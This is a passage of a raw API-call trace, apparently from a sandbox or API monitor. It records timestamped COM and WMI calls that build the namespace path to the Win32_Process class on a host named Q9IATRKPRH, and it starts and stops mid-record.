0x0 [0152.938] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0152.938] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.940] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc41080) returned 0x0 [0152.940] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41080, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0152.940] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41080, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93f70) returned 0x0 [0152.940] WbemDefPath:IUnknown:Release (This=0x1bc41080) returned 0x0 [0152.940] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93f70) returned 0x0 [0152.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0152.941] WbemDefPath:IUnknown:AddRef (This=0x1bc93f70) returned 0x3 [0152.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0152.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0152.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc410c0) returned 0x0 [0152.941] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc410c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.941] WbemDefPath:IUnknown:Release (This=0x1bc410c0) returned 0x3 [0152.941] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0152.941] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0152.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0152.941] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x2 [0152.941] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x1 [0152.941] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0152.941] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0152.942] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93f70, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93f70) returned 0x0 [0152.942] WbemDefPath:IUnknown:AddRef (This=0x1bc93f70) returned 0x3 [0152.942] WbemDefPath:IUnknown:Release (This=0x1bc93f70) returned 0x2 [0152.942] WbemDefPath:IWbemPath:SetText (This=0x1bc93f70, uMode=0x4, pszPath="") returned 0x0 [0152.942] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0152.942] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0152.942] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0152.942] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.944] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc41080) returned 0x0 [0152.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41080, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0152.944] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41080, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93eb0) returned 0x0 [0152.944] WbemDefPath:IUnknown:Release (This=0x1bc41080) returned 0x0 [0152.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93eb0) returned 0x0 [0152.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0152.945] WbemDefPath:IUnknown:AddRef (This=0x1bc93eb0) returned 0x3 [0152.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0152.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0152.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc40fa0) returned 0x0 [0152.945] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40fa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.945] WbemDefPath:IUnknown:Release (This=0x1bc40fa0) returned 0x3 [0152.945] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0152.945] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0152.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0152.945] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x2 [0152.945] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x1 [0152.945] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0152.945] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0152.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93eb0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93eb0) returned 0x0 [0152.945] WbemDefPath:IUnknown:AddRef (This=0x1bc93eb0) returned 0x3 [0152.945] WbemDefPath:IUnknown:Release (This=0x1bc93eb0) returned 0x2 [0152.945] WbemDefPath:IWbemPath:SetText (This=0x1bc93eb0, uMode=0x4, pszPath="") returned 0x0 [0152.945] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93eb0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0152.946] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93f70, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0152.946] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc93eb0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0152.946] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc93eb0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0152.946] WbemDefPath:IWbemPath:SetServer (This=0x1bc93eb0, Name="Q9IATRKPRH") returned 0x0 [0152.946] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0152.946] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0152.946] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0152.946] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.948] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc40fc0) returned 0x0 [0152.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40fc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0152.948] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40fc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc93df0) returned 0x0 [0152.948] WbemDefPath:IUnknown:Release (This=0x1bc40fc0) returned 0x0 [0152.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc93df0) returned 0x0 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0152.949] WbemDefPath:IUnknown:AddRef (This=0x1bc93df0) returned 0x3 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc41260) returned 0x0 [0152.949] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.949] WbemDefPath:IUnknown:Release (This=0x1bc41260) returned 0x3 [0152.949] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0152.949] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0152.949] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x2 [0152.949] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x1 [0152.949] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0152.949] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0152.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93df0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc93df0) returned 0x0 [0152.950] WbemDefPath:IUnknown:AddRef (This=0x1bc93df0) returned 0x3 [0152.950] WbemDefPath:IUnknown:Release (This=0x1bc93df0) returned 0x2 [0152.950] WbemDefPath:IWbemPath:SetText (This=0x1bc93df0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93eb0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93df0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0152.950] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc93eb0) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93df0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93df0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93df0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0152.950] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93eb0, uIndex=0x0, pszName="ROOT") returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93df0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc93df0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0152.950] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93eb0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc93eb0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0152.950] WbemDefPath:IWbemPath:SetClassName (This=0x1bc93eb0, Name="Win32_Process") returned 0x0 [0152.950] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93eb0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93eb0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93eb0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93eb0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0152.951] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93eb0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0152.951] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0152.951] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0152.951] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0152.951] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.953] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc40ee0) returned 0x0 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40ee0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0152.954] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40ee0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc93c70) returned 0x0 [0152.954] WbemDefPath:IUnknown:Release (This=0x1bc40ee0) returned 0x0 [0152.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 